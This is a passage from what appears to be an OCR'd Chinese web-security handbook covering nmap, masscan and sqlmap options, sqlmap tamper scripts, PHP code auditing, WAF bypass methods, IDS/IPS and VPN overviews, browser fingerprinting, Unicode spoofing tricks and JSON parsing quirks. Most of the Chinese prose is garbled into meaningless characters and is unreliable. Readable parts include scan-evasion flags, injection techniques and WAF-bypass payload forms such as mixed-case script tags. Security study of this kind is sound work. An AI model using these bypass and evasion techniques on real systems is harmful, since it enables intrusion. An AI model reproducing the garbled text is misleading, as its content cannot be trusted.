o -u s|hms #AbHH R
o -1 7Ef AN )G flush BRifEd i
o -q Zify -z WIUHATHN, RUEFTSEIH T
e« -X <key>:<value> ¥'J&Jfi, lua_script. read format

o -z GEITEIT, BRSSO

H b1

o -h BIRar S TH )

o -v @R tshark BRUAE

11.4 IRIETH

11.4.1 Nmap

nmap [< HFEA >...1 [< & >] {< HHEFHHA >}

B B#r
« CIDR JAUi% 192.168.1.0/24
e 125/4)#| www.baidu.com,www.zhihu. com
o rEHIZR 10.22-25.43.32

o EHXY -iL <inputfile>
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e HEBE A FEEM host --exclude <hostl [, host2] [, host3] ... > —-excludefile

<excludefile>

FHEH

e -sL List Scan - simply list targets to scan

e -sn/-sP Ping Scan - disable port scan

e —Pn Treat all hosts as online — skip host discovery

o -sS/sT/sA/sW/sM TCP SYN/Connect()/ACK/Window/Maimon scans
e -sU UDP Scan

e —sN/sF/sX TCP Null, FIN, and Xmas scans

1 PR

BER BUARIE #%0 OPEN #0 CLOSE t

TCP  SYN | SYN & ACK+SYN |4 RST R T H &,

scan 1E7~El%‘/§% %BZZ{E—]L

R | SYN H%& ACK+SYN % RST Ko I

ACK 4 ACK % RST LT :

FIN 44 FIN (2T % RST BRI, 2K
EA%

TCP Xmas | FIN+ URG+PSHI#E 75 [i]4 RST LN 2]

E=E] FAK: ANEH A
BAERS

TCP NULL | NULL £ % RST BTN, 2

F4 FAK: ANEH A

- {mESEr

o --scanflags EIM) TCP 4

e -PO J; ping

e PS [port list] (TCP SYN ping) // need root on Unix
o PA [port 1list] (TCP ACK ping)

o PU [port list] (UDP ping)

e PR (Arp ping)

e p <port message>
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o F PRI
o AR REALIGF A4

AR 35 FORR AR A

o —sV RARER

o --allports AN HRASTRIMHERRAL o] o1 11

e —-version-intensity <intensity> & B ARASTIRE
o —-version-light FTIFRERIMIA // H 2

« —-version-all SR AMEM // 5 9

« —-version-trace REIMAIH G SN

-sR RPC 4

BRERGE

-0 e A E R GeAe

o —-osscan-limit XI5 K H AT HAE R GG

e ——OSscan—guess

o ——fuzzy HENERIER SR MZER

Bt iElF e AE

IR TR AL R D

— --min-hostgroup<milliseconds>

— —-max-hostgroup<milliseconds>

PR ER DU SO AT

— --min-parallelism<milliseconds>
— —--max-parallelism<milliseconds>

DR DR DU S

— --min_rtt_timeout <milliseconds>
— —-max-rtt-timeout <milliseconds>

— ——initial-rtt-timeout <milliseconds>

TR Fbs 1B
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— ——host-timeout<milliseconds>
o DAPRELR DD ST ) ] g
— --scan-delay<milliseconds>
— --max_scan-delay<milliseconds>
o VEEIHIBIR
— -T <Paranoid|Sneaky|Polite|Normal|Aggressive|Insane>

— -T<0-5> (i)

B IEHAS M 4E <
o —f M E

o —-mtu ffIFRER MTU

o -D<decoyll, decoy2]l[, ME], ...> {fi i/ Sl

o -S<IP_Address> JEMihE ML

o -e <interface> ffi 4§ &M

« --source-port<portnumber>;-g<portnumber> Jji it [ Ik
o —-data-length<number> % 3£4% SCH PN FEALEE

o ——ttl <value> iXF ttl

+ --randomize-hosts XJ H AR ALK IIFFEHLHES

e ——spoof-mac<macaddress, prefix, orvendorname> MAC Hiht MLl

Witk

o —oN<filespec> fnifiif

e -oX<filespec> XML #jH

o -oS<filespec> ScRipTKIdd|30UTpuT
e -oG<filespec> Grep it

e —oA<basename> ¥y 2 A

» ——open ki Hi P BETF Y 3 145 6L
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-v {5 BRI
-d [level] debug level

o —-packet-trace PRI & REFIBIIR T
o ——iflist 253 LA h

11.4.2 Masscan

HiF

sudo apt-get install git gcc make libpcap-dev
git clone https://github.com/robertdavidgraham/masscan

cd masscan

make -j
WL ITIEWR

by 2y aln

» —-ports Fi 7 b I 35
o --rate fEEHAK

e —-source-ip §EJR IP

11.5 SQLMap #H

44 git clone https://github.com/sqlmapproject/sqlmap.git sqlmap

11.5.1 EHEH

o —u--url ¥§EHIF url

o —m MICARFEREZ A Hin i
o - WICHFHIME HTTP 5K

o --data PA POST J7 :(R 28
o -random-agent Pftl ua

. —-user-agent 4 ua

o --delay W EIiFKAIMIER
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——timeout F5 & BT H

—--dbms #57E db, sqlmap £ db H MySQL. Oracle, PostgreSQL . Microsoft SQL Server., Microsoft

Access. SQLite 4

—-os Ji i MR IS SR IE RS

-—tamper #§iE tamper
--level F5EHMEH
--risk & KR

--technique JEAFIA

— B: Boolean-based blind SQL injection

E: Error-based SQL injection

U: UNION query SQL injection

— S: Stacked queries SQL injection

— T: Time-based blind SQL injection

11.5.2 Tamper E&E

Rz ZFR ER
apostrophemask.py H utfs RF515
equaltolike.py like fFFS5S

space2dash.py

eyl =" B oy (7). (7 -0) FR—AEET S ERE, — BV AFER A — DT

greatest.py

zest ity > |, ) GREATEST Btk T2,

space2hash.py

AR HON # SHEILTATH AT

apostrophenullencode.py

GERLIIEIE S, BRI 5

halfversionedmorekeywords.py

RN mysql ISR B A, B BT Z AN mysql AR S

space2morehash.py

EAREHON # 5 A SOE BRI AT A A TAT

appendnullbyte.py FEA BT 45 PR B N 3 2 A
ifnull2ifisnull. py Ze3 %) IFNULL 38, #4025V IFNULL(A, B)’ S’TF(ISNULL(A), B, A)’

space2mssqglblank.py

EREIONEE S S

base64encode.py

i base64 i

space2mssqlhash.py

Btk

modsecurityversioned.py

IS, T R A R TERE

space2mysqlblank.py

SREBHIHE E EAS (mysql)

between.py

Hi between e KT5 (>)

space2mysqldash.py

Bieag s ()0 -0) RIR—A T S ER AT (n)

multiplespaces.py

158 SQL HE TN Z 254

11.5. SQLMap {#H
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x2-4tm
RIZR ZFR 1ER
space2plus.py H 4+ B
bluecoat.py KB EHFRG 5 — DA IR A SQL iER] . RIEEH = °F like
nonrecursivereplacement.py B predefined SQL F4#7F with FIR suitable for B4t (f5l4l.replace(”SELECT”, 7))
space2randomblank py RBZHE AT (") M B2 1 T 1T 7 A A T
sp__password.py 1B sp__password’ )\ DBMS H & 1) B S50 AL HH H A 338 i A R
chardoubleencode.py M url Zifs (ORALFEDAGRES )
unionalltounion.py #:4fe UNION ALL SELECT UNION SELECT
charencode.py url Jghg
randomcase.py FHLR NG
unmagicquotes.py Vi FfrEEt GPC addslashes
randomcomments.py i /xx/ 53] sql KA
charunicodeencode.py FAFEE unicode 4G
securesphere.py BN A ) A
versionedmorekeywords.py HRELEGT
space2comment.py Replaces space character ' ' with comments /**/
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Hith

12.1 KEEET

12.1.1 &
AR N R . HEEA st BEd. K& A a T HRE A

A BT 2 W ks, PR T A KBRS, 2 EREIINR 7, O TR R B A
0= v I N DR v S N Y 7

12.1.2 EREE

B

i NGB HWFR Source, Web I AT AE RS EL (GET. POST 45). LA&RSCf4:. Cookie, #idi
JERHR S T s m TR v K T

%4 PHP i) $_GET / $_POST / $_REQUEST / $_COOKIE / $_FILES / $_SERVER 25, #Bu] DAYE NI H B
Ao

LhEERER B

Ak B R BCR R RO A T B A AR I R R, Sl RIPRCA Clean/Filter /Sanitizer o X 48 bk B i A IEAT
LA PRAEGE g, A A RN E .
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[El#EPA PHP S, X FER R4 7] GBS mysqli_real_escape_string / htmlspecialchars / base64_encode
/ str_rot13 48, W AJEER N A H & T JE R EL

peAbodBik s

fE IS R FICLFE A Sink Call, Jgil s, 2] BEflA G AT MANSCHFERAE . G BT B PR E 1T A R
5.

£ PHP ¥, 1]/ include / system / echo %,

12.1.3 EapfLE

— AR AR 4 i B AR M A 2 s B B fE I e B i AR (Source To Sink), il TR SFHIX A
HEACHY AR . W ILAY E S T A R ek BT . PR AR -

e E L

HE i s WLy Ul 8 S R R B S e S HUE Al PR R T A2 Seay JTAIYHIIT
TR P ERICRM R, X2 E XA RS SRR P AR A TR AT, 55—, X ARy 3
R ISL I ATEE —ANSCIE, T SO Z TSR AR TR S &

BARIUL, SR T7 20— L8R8 T ML ol , HEH ARG, ATPAR BRI, HifE
e EEAESAL ARG , REFR BN B IR A A BR o
1 HR ST

TEJE R ARG, B RE—ERETIA AST M AIHE, fE—ERE L T3, HRVITEERZ
R -

iii), Dahse J & ANt 1 RIPS, % TR THIRR MR, 456N SRR m 0 i 2 gt
R, MIXHE R R R E R 7 2OR VLR IR D TR S, (E FREAIHIg I T IT8
ETEBNSH

T WX H R —A e, KA CFG st TR B, —ERE LRtk TitE,
AR FHER M%) Semmle QL Fl NDSS 2017 4 & ) Efficient and Flexible Discovery of PHP
Application Vulnerabilities,

EB4E LT EL 34

— IR B L ARSI, BCE A FHEZE . AR oA S0 B il i, U] e PR D
TR B i o

388 Chapter 12. f{h



Web-Sec Documentation, &% 1.0

RESH
BTSRRI IHHEOR, TRAARD TETEf a2, SHUSEEFT Hook, YAATEIfER R
Hons B sh A, HE A RS AT .

AT SRR TR AT SR AR . PTEEARTTR R A A, AERIRTE DR R R A — e, (FUR K
BRI ML A . fate0 FFRAY prvd ST X .

12.1.4 FIHEITRE

o RIBRES, A, Zedabr
— 3Py R R
— R %R G S
— W E M 2 A A AE ]
o SRR A
o TIRRYFIBITRR
— MR
* A
* RN waf
&3 E YN
* mysql/mysqli/pdo
* RIS g
— AP G
* XSS
* BUIEA
— SESSION 4bapHLiE
O
R
* A
— Cache AbPEALE
* S cache FJREE shell
* Bl cache TTRETEA

* memcache
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o WK F
— Auth 7=
— Pre-Auth PR AT AT I ¥ 5L
— Wk
*REAS AT ARG AR
— B GUK BN
- IKSHhR
* e g5
* IR
*
* T
B S
o HPET AR Sink
— SQLi
* 4RI UERET bypass
* RAA HIENAT SQL 1LY
* SQL )13, mysql/mysqli/pdo
- AR PDO, BRRB AL EEAATI
— XSS
* 4xJ5) bypass
e
— FILE
* AR B AETIRE R
* AT R R
i UN
- LFI
- RFI
. 4 J3# include, require
— RCE

— XXE

390
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CSRF
SSRF

BFHE
- AR

LDAP

— XPath
— Cookie i
— & WAF 7550, FIbre T PASE

12.1.5 &5

e Tips
e prvd
o PHP jzf7i Jmild il

e Backes M , Rieck K , Skoruppa M , et al. Efficient and Flexible Discovery of PHP Application
Vulnerabilities[C]// IEEE European Symposium on Security & Privacy. IEEE, 2017.

o Dahse J. RIPS-A static source code analyser for vulnerabilities in PHP scripts[J]. Retrieved: February,
2010, 28: 2012.

12.2 WAF
12.2.1 4r

WAF (Web Application Firewall, Web [ B k1% ) s&ilid$f7—FR 544 HTTP/HTTPS #4045 mg ok
%171k Web | AT 77 i o

N L, AEFOASSFIIRENLTIN WAF. ¥E—@ERZ L, WAF f&o Web W IRt 4E, HE2A
AEPRIESE R 224
wILThRE

o RMSHIL, ELRFFE HTTP B ok

o XPRESE BT 23 R

12.2. WAF 301
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o Cookies 153/
o fREMER IR
e DDoS [iip
o B[R TP i
o WIEE IP fifE
o %4 HTTP L5580
— X-XSS-Protection
— X-Frame-Options
o BLHIKIN
— CSRF token

— HSTS

MBS

HATEAE, WAF W[LA N WAF . BRI AR 7. = WAF B b, Refd = iss
ARSI AL THUBG PR 2 R 2R I, U0 mod_security . ngx-lua-waf &5, X F: 4Lk
Frldr. BECERT IR R 0 AU, Sl B A T DE A

12.2.2 BFIPAR

WAF 5 07 A KRl . Wk . B53A 0. A7 . AT, Pl ) <%,

BT IEMA PRI i WA PRI T e T A ) — S0 B B0 1 DU AR D R AS: I 28 2 A AR I i i . BT IE
BT AP IR R TR B, PR A — 2B o BN RN T B oK, i LI DR A B2 ) — 2852 Al sl

BT IRARA 73 AT AR T A58 S R iy ELSE R, b A AT L TR AT AT S AL, RS TERT 5 4L
SRR R T AT SO ST A S A R RCR,, (R FIRERY, XA s ZOR B

ETAT N AT E IRBTE S — 28, Bl & fsm QAT . B SRIRa. SR — 2 A 5 3)
s Bl R S M A T IR Z

ET AR AT AT AR i 1 i S nT BERR U, BIANHE R VPN, B2 ACBE, Tor 35, MR MI45Y
MY IP 4E

BT g B WAF W REIRFEEAER), ZORB N B ARSEBAS RB N Z AL .

W T AR RSy, tOn] AR 4 BRI SRR R 22K T H A B WAR &S TRER) Web
IVAFE I 1P~ gl Prrs ¢S E w1 L] 18
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12.2.3 {34h2ER51H

o HF User-Agent iH 5|
o ETYEEEATHA
o IGUERY

12.2.4 WAF 14

o AHME Cookie

o 5N Header

o BEAEL ORI IR ] 2R

o WAEZ T RIS B2 [m] i [
o« IP

12.2.5 Gt AR
BETRGM%E

o UhigAE WAF )5, [E2ul ] 1iE
o WRTER RS, X R B 554 TC WAF

ETRENSE

o WEAIHFERMEAGT, FERY WAF 131 BER
o RACKERIHSH

BT

o TR
o PrRBEAAL
— POST % JSON {£% / form-data / multipart/form-data
o PISUBHTAIER
o Ui WAF X https A7 A2
« WAF fi#hrts Web IR 55 it A2
— T7> ASPHIIS Sl %u0065 A% zNAY 74T
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— Apache &M Method
— F—ZHE UL, B ALEA—F
— HTTP Parameter Pollution (HPP)

— HTTP Parameter Fragmentation (HPF)

ETFHAMsS5E

- R
~ KA

* select => sEleCt

* <sCrlpt>alert(1)</script>

A
* URL 9@i5
T
* Unicode fi##T
* Base64
* HTML
* JSFuck
* A
~ R
~ Sk
— REEFS
— R

i
* NULL (x00)
* otk

* A EHIF (x0b)

)

* AT (x0a)
(

* KPR (x09)

394
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* I (x0c)
- R
I 7 i
— HRAT
- 5% (515, B8, W5l5)
o FDHMESSA S e L
— Bl RECHE oA

* selselectect => select

o DUURFHERAERLINZ 1 2

12.2.6 &5
o WAF 7T 2 U4~ JE IR Bypass WAF
o FHy WafBypass 28 SQL ¥ A%

o WAF through the eyes of hackers

12.3 RRM%ERE

12.3.1 B
&

B KRGS R 2 — A PRI FSE A AL AT FE PR RISNERI 2 18] L R -5 24 36 0 2 T F) 5t LA
AP ER . BT I BRSO AR R R, AT RS SNBSS
HABATIRDL , VAL SE BRI 25 1) 22 A R 3

817 K35 T LA S A 248 S 5 K R P =7 K ik« 1 28 2 7 K i BT AT A R P SCA B
IP B3 1 AR I S A T o 1 )2 37 SRR 30 ) 0 2% 7 0 e 55 PSR RS e i s, o ELE
RSB A 7T T IR R 41 o

FEINkE

RLPEHE . 2 R

B 1EAN 22 A PSR 55
BRI TIAT N
[t BuRple iR SN RS
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o XM TE HE TR I
o 7 IR ANESXT AR 265 (5 B R FRHL
o PRGNSR A P A

T— KB AiE

R A Y N 2 B R P R . AT AN R RE AL RSB 2 AR i
FGTEH . B IR T B SR E— G A BLAA TRGER Kdi  IPS RS A iR
IIREBEMEAR T RAR M A R R GHRIGEA , SUBE T 2 G R a AR SR AERE A, bl b 3
FI A PRAE SRR T A BE B P A A

12.3.2 IDS

[F]

ARSI B Ao AN 0 2% B 8 P T SR BT MR AT (R L, M R 4 RO A5 A i S 2 A SR ATy
TAIEARAT N . ARG AGEHE WS 3 LT IIREALIE: FERU. 5 BRI B2
HRMR AR RS M4 Bl A PSS IRES AT . ARKIM A EE— Bk B RGEM M4
HRESCPE. ARIER B H SRS AREF AR AT = A7

AT WAERI A KRG W4, Bl S s sh RS NS E S, Rl psleie. goit ot
SERENE AT IX = FhFBLdEAT /AT o BTPIAR T SE I ARAGI, se B T 35 0

S AR AR PSRN E AL, O A R A4 S I

IDS [ PAG Ry T EHUR A GG RS (HIDS) Ak TR 2 1) A RZAG IR SE (NIDS).

BT AR ARG RS2 R WM ARG R SEE, RPN, BEZRAERERPR T L. H
R ) H AR F 208 EHLRGEMARGEAN 7, A 5 LR MRS LR BB A R 58 H G A T St

AT AR B2 FRETRA . SRR EAR, TR R XA AR 2 SRR R
GEPERE s HOBET IR 5548 A 19 H S S HLEE 75 AN ANEEXT M 28 HEA T I 5 75 22 2 X AR &
LI AR G

BT M2 ARG 7 202 H AT B R RT3, XGRS R A — 6 L IRl s, A
BT EAE LR S M BEA, A AR R B b A AP R A, A P I B L. e P N Y
0 2% LA — D B BT BE B EL A TR 04T, AR EIR A5 7 N B LS £, ARAG I R 5t
e KB, EEERYIWMEE . HEl, KA ARG g H T M2 o

DA I BRI VR LB RERSA IR LE R 5 I 265 1 BOh A SR AEIA T 5 AR 2 A R g5 2 <5
PUAECE, WA EAERE: KU BCEfRR . Hoh a2 A iR 2R K5,
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M RGEERE . RED IR, WA, XIS SRR BIEME 28 s i T RE 2 R0
ZEM, BEHILAREAIER ToE e W EEN B AR ICER I .

12.3.3 IPS (ANRBFHZRS)

B

A 1 25 2 B 0 50 2 5 0 44 5045 0 9 24 VORMES S5 B TS HL R 20 2 28, RERS BB o
M7 B S IE A R A (R M VR AT

FRATHRE BT K n] AR Z AT, (B 2 IR Z BGEAT N TCRE N J1 . 55 B8 1) IDS wl DA K i
KIARLE BT JRRIRLGEET R, VRPN E, (ER TEk L BT .

P B T BT IDS R kdsibeah iy IPS: @i IDS kA, mad By kR s . Hih 245 0 kA5 —
A DUV, MO A Y BRI (— STt OB BIGERCR . W SQL HEA L it Wifi %)
753 IDS 57 KGRI BN AESE PR A RCRA 23

FEXD

W PAG AR IPS, BT R IPS, EF5us IPS, BT MU IPS.

EETHFERY IPS 2142 IPS ffpkJr 5 e 7 ik o ACRFEAR NS B, AR B Y ml i o IR Bt .
PR MR PUHE IPS . PR AT DA . RRERITE R, DAR B A ity o

BT ER IPS thghon B TATAR IPS. Bt S iy ik nl U GO S A DRSS T A«

BT ORI TPS 3E DR 2 AT SR 2 ORI o G SRS DN 4 396 2l i s T 2L 8 14 22 R SREme it fik A 41
BRI IPS, ZHE LR H ARG Z .

BT IPS 5EF LR T IAIML. KRB DU 5 WLARFAL , (HEE T ST i 759 m] PASCE
RAREIR kA, et RIEHA LR R i .

12.3.4 Z2fEEM
[CF1

Al g A I 0 A 2 b o D BE B9 AT B 5 A R 7 M 4 R R R bl T
TR S o 1] T EE R A P SE M 8 R L2 ), APl R i B . iR RS FEL
PR, AR X AR B A, ARSI e “S8E”, HW S R <85 fn <57
WIS BreA, YBRRE e R B BRI A T RERY U, (EBGEE LR
TeikGl . JCIERER, BT HIEM T4
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FEHE

LT 190 465 (4 BB B2 - 0 L B v 19X I E AT 2080 BB S A T (R I 28 ANl (5 P 4 bz — AT, i ANRE
(7] -5 A I 2 T 42

FFLITIE 4 05 OB BT ) B R . R S TOP/IP s WA -2 [ i L S i
AF TCP/IP i3IBS, A5 FIREARE P2P 104 TCP/IP JeByst, BAEHARI “HA” 5 “Bi”
SRR

GATA: YIRS AR A A, DA A IR R, A A
SRS A TR, TR . R L

JEAEHRAR OGN W 8 I T 2 A 1) S i, AN LA ey 0t ) 45 22 o R e g
AR hEE : B EEA H S RS,

MR LRSI RRRHE R - AL IR BE, A5G IR, SEBUY RS R, 28U PR i s
o (B SBX F PO K e s €y (OB S TN VA DIl T N 3 VO D VA 4 €T NG € B TR Y e V67
FHIEPE LR, A& R R E R BRI R AT SRS, AFF AR m -, SEaa B g .

A T SR O ] 22 A MK AL SRR B D RE - TP AT A AT BOE B RO F i, e fetep s (BT 4K
WL R TAESS) . R sy, MR S Sl E 4.

SCRPREIS /SR SCPFACH s SCRF SCRpEL ) LRI SO ORI 840 . AR IR A SR IR -

12.3.5 VPN &%

&

e A5 FR102AE 2 2% S % A5 BR . Z BT ARROA HEAUL R 2 22 TR B4~ VPN [ 45194
BPIAT R A FERE A A58 % W B 35 (4 3 2 i O P LB, T2 R 2 1) X 288 i 55 7 B B (3t ) IR0 4%
FEZ ERZERFYS, TR R R L

wREAR

MPLS VPN: 2—fT MPLS $R[ IP VPN, 275 W % th FI e #eist s B 1T MPLS (2P ARIC A
) BAR, A% R B bRy 5, RN S G & SE i BORBIPRIC A SR TP L& M 4% (1P
VPN) . MPLS {EHAET R 2 AHMA =2 B M BORGE Aok, e VPN, Jies5 0 B it TARX 48 1P
90 2 1) K IR L AR A S B, [RlIk, MPLS VPN FEffge sl T . LA Rl 45 0 1 o ok bl
EETRL, BT 1P MEZE R AL 55 A E2 T B, MPLS VPN Xn[/}h — 2 MPLS VPN (]
MPLS L2 VPN) #1=JZ MPLS VPN (R MPLS L3 VPN),

SSL VPN: J£PA HTTPS (SecureHTTP, Z¢4xff) HTTP, BJsZ#; SSL iy HTTP ) MEAH VPN 3
AR, TAHELEEMBZZ . SSL VPN 5870 A T SSL ppsEpt i BT U430 S e . Kt A
TH S SEREPERAEAL] W] DA )2 2 (B 5 AL e 4 ¥ HE . SSL VPN Tz W T 5T Web (e 404
T, PR A E AR AR T A R
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IPSecVPN 2T IPSec MM AY VPN $ A, H IPSec SRt 2244k . IPSec &—Ffi IETF ¥t
f i E S A B RS T TP TR AR Ze LA . &k Internet FAEMAEIRIRAE T E RRR . AT E AR
0. BTS2 A RIE .

12.3.6 RE&EHITRS
[h1

W 2% 22 4 v TE R GEEN B IMAT A4 BEARIAT A T AT, Ao . AT s SO X T I RE .
M BZ T IR A RO, BB SR . B R IR AT T 8 R R A R it
MEOK, R ERICR, BT EEBE. RGEZEE HRREPTE.

12.3.7 S5

o ML LB

12.4 {54

12.4.1 FBISRHIEEX

o Ekthani
— navigator
— LR
— WA SRR
— CSS 3 ff
— JavaScript HpiE
- BRI
- WebGL {3
— GL JiiA&
- GO
— EHREZIX
— WebGL ¥ f@

o BEPRER
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— Hih API

— feR API

— WebRTC KEUM B4 B A
- RGiERE

o FRAALAFE

— cookie
— localStorage
— indexedDB
— sessionStorage
. REUE
— W wE
o EZRMN
— M3t HEE DNS 5K k%
12.4.2 X

- W IRLLET

12.5 Unicode

12.5.1 EFXES

BMP

BMP (Basic Multilingual Plane), F/ERAZ CFFEHE, /& Unicode HH—A 4 X B,

BEE

Unicode #gfi% 5430 17 AP (plane), &P 2716 (B 65536) AMSA. 17 AFIRIIRS A7 ] s
M U+xx0000 #] U+xxFFFF, Hrp xx LR+ 753 HEM 0016 #] 1016, it 17 4P

Code Point

Code Point #FRIE Code Position, FAEMS a8 gmtd O E, 2384 A 23 0] o K(E .
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Code Unit

FEHA Unicode 477 U 45— Code Point f 2R/ 7 54, Hn UTF-8 5 2z /b—4~ 17, UTF-
16 /LAy, UCS-2 By, UCS-4 Ml UTF-32 P04~ FY.

Surrogate Pair

Surrogate Pair & T UTF-16 BYPAM]JG3EE UCS-2 ), iy 2B UCS-2 JEfE B ¥ 0xD800~0xDBFF (#f
A high surrogates) #l1 0xDCO00~0xDFFF (#7k low surrogates) HJAS{i;, —~ high surrogate #—4> low
surrogate P PUNFE T FRRBH BMP 19545, W4 surrogate range #B4& 1024 NS{7, FrPA surrogate pair
ATRAZETA 1024 x 1024 = 1048576 = 0x100000 444 .

Combining Character

BN Helle & A B EAF 5 L RMFA, HITHG MM RERAL. FrAXF A2 A G 7 =0k .
BOM

FHMFARIL (byte-order mark, BOM) 2 — MG HRK S UG —MSF4F, 454 U+FEFF . 24P UTF-16 5
UTF-32 S5 UCS PRI FAFER bl it , XA R s Hp . Wl TR 24k UTF
Hifid o

12.5.2 {IEAR

UCS-2

UCS-2 (2-byte Universal Character Set) &2—FpE KM=, UCS-2 {UL & B H— 16 S5 6k
FOREAL, WL LAIIERITE 0 ] OXFFFF pfE AL A -

UTF-8

UTF-8 (8-bit Unicode Transformation Format) j&—F4}%} Unicode ByR[ 25K B4 4m05, tH2—Pais
o ERPAH— 235X Unicode “FAFEE I ITA B RIS 5 3- 174085, J&T Unicode AR —34)
Iy I

12.5. Unicode 401



Web-Sec Documentation, 475 1.0

maEl | mER | meE%E Z%F | Bytel | Byte2 | Byte3 | Byte4 | Byte5 | Byte 6

% & 5

7 U+0000 | U+007F 1 OXXXXXXK

11 U+0080 | U+07FF 2 110xxxx)% 10XXXXXK

16 U+0800 | U+FFFF 3 1110xxx%x 10xxxxxK 10XXXXXK

21 U+10000 | U+1FFFFF | 4 11110xxx 10xxxxxK 10xxx%%K 10XXXXXK

26 U+200000 U+3FFFFFF 5 111110xx 10xxxxxK 10xxx%xxK 10Xx%%XXK 10XXXXXK

31 U+4000000U+7FFFFFEFI6 1111110x 10xxxxxK 10xxxxx%K 10x%%xXK 10XXXXXK 10XXXXXK
UTF-16

UTF-16 (16-bit Unicode Transformation Format) & UCS-2 f#ikE, H—1aE& W 16 a0 ook E iy
£, WRAXT 0 #| 0x10FFFF RS #E 74 .

12.5.3 ikl
[F]y

Unicode (55— W& TFZHRIRTAT, 0 T MR 2 BUFRIFRERERS A2, f& H1 T Unicode 24k (Unicode
equivalence), JEFRFH, FLLEIRE EAFILE PR PRSI . Hit, Unicode Kf—LLR (7751 E X
JRRHEEHY o

Unicode $2(t THRSEMAEE: FRESMAIRASM . W& LEEN— T8, G0, F5 n GHREHEF
FF~ 2 (BRHERISRE) 0T Unicode F4F . AT ff WA MESEM T WA £ F4F

Unicode IEAAGESCFIERALIY— I, IR BULEF M)y 20 8 5% . JFFIFE Unicode FrifEr
FRAEIEMIEA .

XFFAEFSE RS, Unicode SUE PIFIBER, —M@se ey, —Miesean . Fit, REaAm
fE, H4i54 %1% NFC, NFD, NFKC. NFKD. %} T Unicode 1 CFABIFLF 5, FHALRREE
R, FAER TR BRAHT

RAEZN

G B b S A 4 B RS R AT B AL R S A o IR BT B0 A I s A g T
FAFERE, AT n FIALAEFA ~ WTALURSE T . AN S 7, RIRFRAL 4528 |l
PRUESEAN R A R P E_EADNRE_ ERYSEAT . BN, S EEINARFS 7 B A 30 5 B 7 B SR AT 2 o
HESEA . AT UL, WATAF 0 Mk v K O MRS ESE . MR, S E T L
Aol PRI -5 RSN B I 5 JA IR A
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REEH

HAASF T T RS E SN RAT) o WRFF R ARSI 2R A S5 . R MIARARS . ARASFH T
RETETACFRIEM, FHE L AR RIE RS —itE.

B, _EARECT AL A R R AR S, EARRESE O . BRI A AR R AR AL
TR, BN AR — R AR (BRI ATy ) . ik, 7E5—i e ik, b
PRANT At il PARA BB R BT 5O B (R —) .

AR A RSO R RFES M. WA TARIBEES]. JOE L LAY
LR B, RN TR, TR RS M. AR, R
T B L4

SCFREBARAFAESCBGE— W TP R R A Iy, 0% BRI TERIAAE . RS SRR RIS, A
RRIRFICEREHE I EICE R 7 -

SR AL T — AR ER IR AR AR R 07 A — A E— A o AR HELE T AN BRI
(NF) sz (NFK) o BEARW DMERESESEM R HITER, dHg— D 0iniEa 2 Mg Al g m]
AERY o G0 — Byt —FhaE (i 7 BB A ERADE S AU NFC Fl NFKC PAR M TG NED Al
NFKD. fiiAig2dl &, S mraemy, PAERG IR XA B

IE#E

N T RS RGP AR, AT DA A s R A 22— R R R R AR G B9
AR, MR e R R . 7 —TJrh, SO E R S R R AR . B, ALea i i
(U+FB03). B oh#yn  (U+2168), H =22 AR ° (U+2075) A HA IG5 AL, FrifEEAE A
AL LR B ERE AL 6O £, £ i BrPAEER U+0066 (f) W, 7E NFKC HL,
{A7E NFC WIS AP A TERA S SR THRREL T 7R T (U+0049) . KUy, “©7 L “57,
XEFRYEER, K BB BT R ZOR 2 R, RO EARIIE B K. T AR, 4—
AP R R A T ARAAR S ARAE, HAR DL AR AR Y . EG TSI, X% 2 <compat> |
MAE_EARHIREOL TN <super> o 25 UL A ANE SCA ELARTE = W S (8 1 ARA 5% . Bldn, HTML )]
I SRR 57 i3] AR E .

IE#REK

NFD Normalization Form Canonical Decomposition PAFRIEZEH J5 Sk 40 fif

NFC Normalization Form Canonical Composition DAVREZEMN H AR, RIGUMRESENEAHLY . 75
& singleton [, HHEERA AT RERI A ERTA [ o

NFKD Normalization Form Compatibility Decomposition PAFEZZEW 7k 4 NFKC

Normalization Form Compatibility Composition PAFREZEMN G208, RIGDMRESEN EHZ
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12.5.4 Tricks

o WEFHREFANZFRMRIE, —4> UTF-16 nlER M.

o WRIEFAERF UTF-16 27 nt, SR,

12.5.5 2£ g

Visual Spoofing

B4 b idu.com(BLAL) a 2y u0430) Fl baidu.com(ILAbi) a S x61) Mot FAHE], (HJ& 52k 38 i As )
34 -

b a idu.com(IAbHY a Ay uff4l) F1 baidu.com(MbALH) a Ky x61) F—E WA, HIi2HE 1 AAH R A4 .
AP AT AT |2 Spoofing 575 WAF Bypass [,

Best Fit

WERPIAS PR R AR, Z BT BDTE 2 IS MBS BEA XY, Ry Sl i e P A AT A s e
BIETAFER T A TAF, FAmIS A —E 2.

XL AT [EE—2% WAF Bypass.

Syntax Spoofing
PATRPUAS Url FETRIA EAR R B AIA, , (Ho2 R B P AP A R BRI 2P AF, 1 U+2044(
/), AIPASREL—28 UL J i )

e http://macchiato.com/x.bad.com macchiato.com/x bad.com

e http://macchiato.com?x.bad.com macchiato.com?x bad.com

e http://macchiato.com.x.bad.com macchiato.com.x bad.com

o http://macchiato.com#x.bad.com macchiato.com#x bad.com

Punycode Spoofs

o http://EFEBEE.com http://xn--google.com

o http://[El.com http://xn--cnn.com

o http://WEEEEIE.com http://xn--citibank.com
ALY 2 H I B/R puncode, (HZ W] AR IIX AL SE 3 UT Spooof,
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Buffer Overflows

TERIB R, BIFAFSZMEZNF4F, W FluB — FLUSS — fluss iXFE A g 580 BOF.

12.5.6 HEEHG
URL

o [ (U+2025)
« [ (U+FE30)
o o (U43002)
o (U+24EA)
« / (U+FFOF)
« p (U4+FF50)
« (U+02B0)

« 2 (U+00AA)

SQL EA

' (U+FF07)

" (U+FF02)

(U+FE63)

XSS
« < (U+FF1C)
o " (U4FF02)
WYEN
« & (U+FF06)

o | (U+FF5C)

BRIREN

o [E] (U+FE5B)

« [ (U+FF3B)
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12.5.7 &L

BAXHE

e Unicode equivalence
e Unicode Normalization Forms

e Unicode Security Considerations

RFC

e RFC 3629 UTF-8, a transformation format of ISO 10646
e« RFC 2044 UTF-8, a transformation format of ISO 10646

e RFC 2279 UTF-8, a transformation format of ISO 10646

Tricks / Blogs

e IDN homograph attack

e Black Hat Unicode Security

e Request encoding to bypass web application firewalls
e domain hacks with unusual unicode characters

o HARIFAE Unicode

12.6 JSON

JSON (JavaScript Object Notation) S22 EiHEiE 25 E 1 .

12.6.1 ZL& R

BEEM key {"test": 1, "test": 2}

HETRIY key {H \x00 \x0d \ud800 " %

. Kt
. BRI
— it R
— Bl
— null AR

406
